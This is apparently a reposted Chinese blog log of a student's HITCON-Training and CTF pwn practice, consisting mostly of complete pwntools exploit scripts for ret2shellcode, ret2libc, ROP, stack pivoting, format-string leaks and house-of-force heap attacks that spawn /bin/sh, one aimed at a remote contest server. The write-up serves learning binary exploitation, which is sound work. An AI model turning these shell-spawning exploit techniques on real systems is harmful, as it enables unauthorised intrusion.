HITCON-trainning&寒假做题记录

HITCON-trainning

2019.1.27
是一些好题目这几天准备重新做一遍预计两天之内完成现在做到lab7
题目地址：https://github.com/scwuaptx/HITCON-Training

lab1

比较简单的逆向题这里就不贴代码了，就是一个疑惑解码

lab2

一个普通的int0x80的一个shellcode编写这里就不多讲了感觉没有什么

lab3

ret2sc

原理比较简单就是输入shellcode然后ret到我们shellcode所在的地方

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./ret2sc')
payload = shellcraft.sh()
raw_input()
p.recvuntil('Name:')
p.sendline(asm(payload))
p.recvuntil(':')
payload2 = 'a'*32+p32(0x804A060)
p.send(payload2)
p.interactive()

lab4

ret2lib

一个天然的给你的泄漏地址的函数，利用这个地址可以计算出偏移然后就可以getshell，这里我没有用onegadget，原来是想用的找不到我64位下32的libc文件了，所以用了lib函数来调用

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./ret2lib')
a = ELF('./ret2lib')
e = a.libc
pay = 0x804A01C
p.recvuntil('Give me an address (in dec) :')
p.sendline(str(int(pay)))
p.recvuntil(':')
libc = int(p.recvuntil('n')[1:11],16) - e.symbols['puts']
one = libc + e.symbols['system']
raw_input()
p.recvuntil('Leave some message for me :')
p.sendline('a'*0x3c+p32(one)+'bbbb'+p32(int(e.search('/bin/sh').next())+libc))
p.interactive()

lab5

simplerop

一个比较简单的rop，很明显的栈溢出漏洞，利用gadget搜索 ropchain然后就可以找到可以利用的rop，首先布置/bin/sh的地址然后在调用int0x80在进行系统调用。

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./simplerop')
a = ELF('./simplerop')
e = a.libc
pop_edx = 0x0806e82a
pop_eax = 0x080bae06
mov_eax = 0x0809a15d #mov [edx],eax
int_0x80 = 0x080493e1
pop_edx_ecx_ebx = 0x0806e850
buf = 0x80ea060
raw_input()
####################easy_地址布置
pay = 'a'*32 + p32(pop_edx) + p32(buf)+p32(pop_eax)+'/bin'+p32(mov_eax)
pay += p32(pop_edx)+p32(buf+4)+p32(pop_eax)+'/shx00'+p32(mov_eax)
#####################下面是进行一个ROP获取权限
pay += p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(buf)+p32(int_0x80)
p.recvuntil('Your input :')
p.sendline(pay)
p.interactive()

lab6

这个题是比较麻烦的一个题，利用的技术是栈迁移，因为read溢出的大小不够我们使用所以我们进行一个迁移，将其放置到bss段来利用。（有空写一个详细的解析。）这里主要利用了leave ret这样的函数在对ebp，esp进行一个更改。

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./migration')
a = ELF('./migration')
e = a.libc
system_libc = e.symbols["system"]
gdb.attach(p,'b main')
print "system_libc:"+hex(system_libc)
read_plt = a.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = a.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = a.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = e.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= e.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)
leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebp_ret
buf1 = a.bss() + 0x500
buf2 = a.bss() + 0x400
print 'bss' + str(hex(a.bss()))
payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100) #to control the esp point to buf1
p.recvuntil(':n')
p.send(payload)
sleep(0.1)
##########continue to x
payload1 =p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload1)
sleep(0.1)
puts_addr =u32(p.recv(4))
offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset
payload2 =p32(buf1)+p32(system_addr)+'bbbb'+p32(binsh)
p.send(payload2)
sleep(0.1)
p.interactive()

lab7

crack

简单的格式化字符串泄漏地址，泄漏随机数，也可以直接改随机数，改随机数更加稳定。

from pwn import*
context(os='linux', arch='i386', log_level='debug')
p = process('./crack')
a = ELF('./crack')
e = a.libc
gdb.attach(p,'b main')
pay = p32(0x804A048)+"#"+"%10$s"+"#"
print pay
p.recvuntil('What your name ? ')
p.sendline(pay)
p.recvuntil("#")
password = u32(p.recvuntil("#")[:4])
print password
p.recvuntil("Your password :")
p.sendline(str(password))
p.interactive()
'''
***************************
弱鸡警戒线，来自大佬的代码
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
***************************
'''

——————————————————————————————————
今天计划只完成了一半不到刚回家事情太多了，明天继续今天就复现到这里了|。。|
——————————————————————————————————

这里是2019.1.28所做的东西～

lab11

这个题目有两种解法，一个是house of force。这里主要简单介绍下，原理就是存在堆溢出覆盖了top chunk的size为-1，然后当再次malloc的时候

new top chunk = old top + nb + 16
nb = -(0x40+0x40) - 0x10 =
-0x90 = - 144

这是摘自hitcon training的ppt

这个时候我们就可以对top chunk进行一个任意地址的分配，然后再进行malloc就是一个任意地址写的情况了。lab11这个题主要是利用hof进行一个指针的覆盖

from pwn import*
p = process('./bamboobox')
context.log_level = 'debug'
def additem(length,name):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(length))
p.recvuntil(":")
p.sendline(name)
def modify(idx,length,name):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(length))
p.recvuntil(":")
p.sendline(name)
def remove(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))
def show():
p.recvuntil(":")
p.sendline("1")
gdb.attach(p)
additem(0x60,'peanuts')
modify(0,0x70,'a'*0x60+p64(0)+p64(0xffffffffffffffff))
magic = 0x400D49
additem(-160,"peanuts")
print "************************************************************************"
additem(0x20,p64(magic)*2)
p.recvuntil(":")
p.sendline("5")
p.interactive()

穿插的各类比赛的题

（一些小伙伴让我做的题记录下。。导致我没有完成自己的复现任务>x<）

Hgame-ret2sc

比较简单的ret2sc，唯一的不同就是需要对shellcode进行一个抑或，main函数不能反编译因为一个call rbp所以把它nop了就可以了。不过直接读汇编一个可以。

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#p = process('babysc')
p = remote('118.24.3.214',10000)
#gdb.attach(p)
sc = shellcraft.sh()
bsc = asm(sc)
print bsc
scsc = ''
for i in range(0,48):
scsc += chr(ord(bsc[i]) ^ (i+1))
print scsc
p.send(scsc)
p.interactive()

fire-shell babyheap

这个题目所用的利用技术不是很难但是整个思路的实现过程是比较有新意的这里就记录下exp，大概的过程就是改buf指针造成泄漏然后再改buf指针所指向的地方然后getshell。

from pwn import *
p=process('./babyheap')
#p=remote('51.68.189.144',31005)
context(log_level='debug')
a=ELF('./babyheap')
e = a.libc
p.readuntil('>')
gdb.attach(p)
def create():
p.writeline('1')
p.readuntil('>')
def dele():
p.writeline('4')
p.readuntil('>')
def edit(a):
p.writeline('2')
p.readuntil('Content?')
p.write(a)
p.readuntil('>')
def gift(a):
p.writeline('1337')
p.readuntil('Fill')
p.write(a)
p.readuntil('>')
create()
dele()
edit(p64(0x602095-8))
create()
gift('a'*(59-0x10)+p64(0x602060))
p.writeline('3')
p.readuntil('Content: ')
libc=u64(p.readuntil('n')[:-1].ljust(8,'0'))-e.symbols['atoi']
oneget=libc+e.symbols['system']
edit(p64(oneget))
raw_input()
print hex(oneget)
p.write('/bin/sh')
p.interactive()

hitcon-lab10改编题

这个题的来源是我找不到原题了。。所以只能将就的在做一遍自己改编的题，不过练习了unsortbin泄漏和fastbinattack。exp就不贴出来了，不知道某个比赛就会用?
——————————————————————————————————
荒废了一会儿。。好在今天帮师傅们做了个题1.30
——————————————————————————————————

Hgame-Steins;Gate

题目很有意思，对动态调试和栈的考察很多，第一个点熟悉栈分布进行绕过，第二点利用格式化字符串进行一个信息泄漏，第三个点上一题的栈分布在这题就有很大用处，第四个点就是正常rop->getshell了。佩服出题人给新手出的这么好的题

from pwn import*
p = process('./Steins;Gate')
context.log_level = 'debug'
#first
p.recvuntil(':')
p.sendline('/bin/sh')
p.recvuntil('To seek the truth of the world.n')
pay = 'a'*0x30+p64(0x2333)
raw_input()
p.send(pay)
#second
p.recvuntil("Repeater is nature of man.n")
p.send("%7$p")
rand = int(p.recvuntil("You")[:10],16)
print hex(rand)
p.recvuntil("?n")
rand = rand+0x1234
p.send(p32(0x6666)*12+p32(rand))
#third
p.recvuntil("Payment of past debts.n")
p.send("%11$p")
canary = int(p.recv()[:18],16)
print canary
pop_rdi = 0x0400c73
bin_str = 0x602040
system =0x04007A8
pay = 'a'*0x30+p64(0x2333)+p64(canary)+'a'*8+p64(pop_rdi)+p64(bin_str)+p64(system)
p.send(pay)
p.interactive()

最后

以上就是寒冷心情为你收集整理的HITCON-trainning&寒假做题记录的全部内容，希望文章能够帮你解决HITCON-trainning&寒假做题记录所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。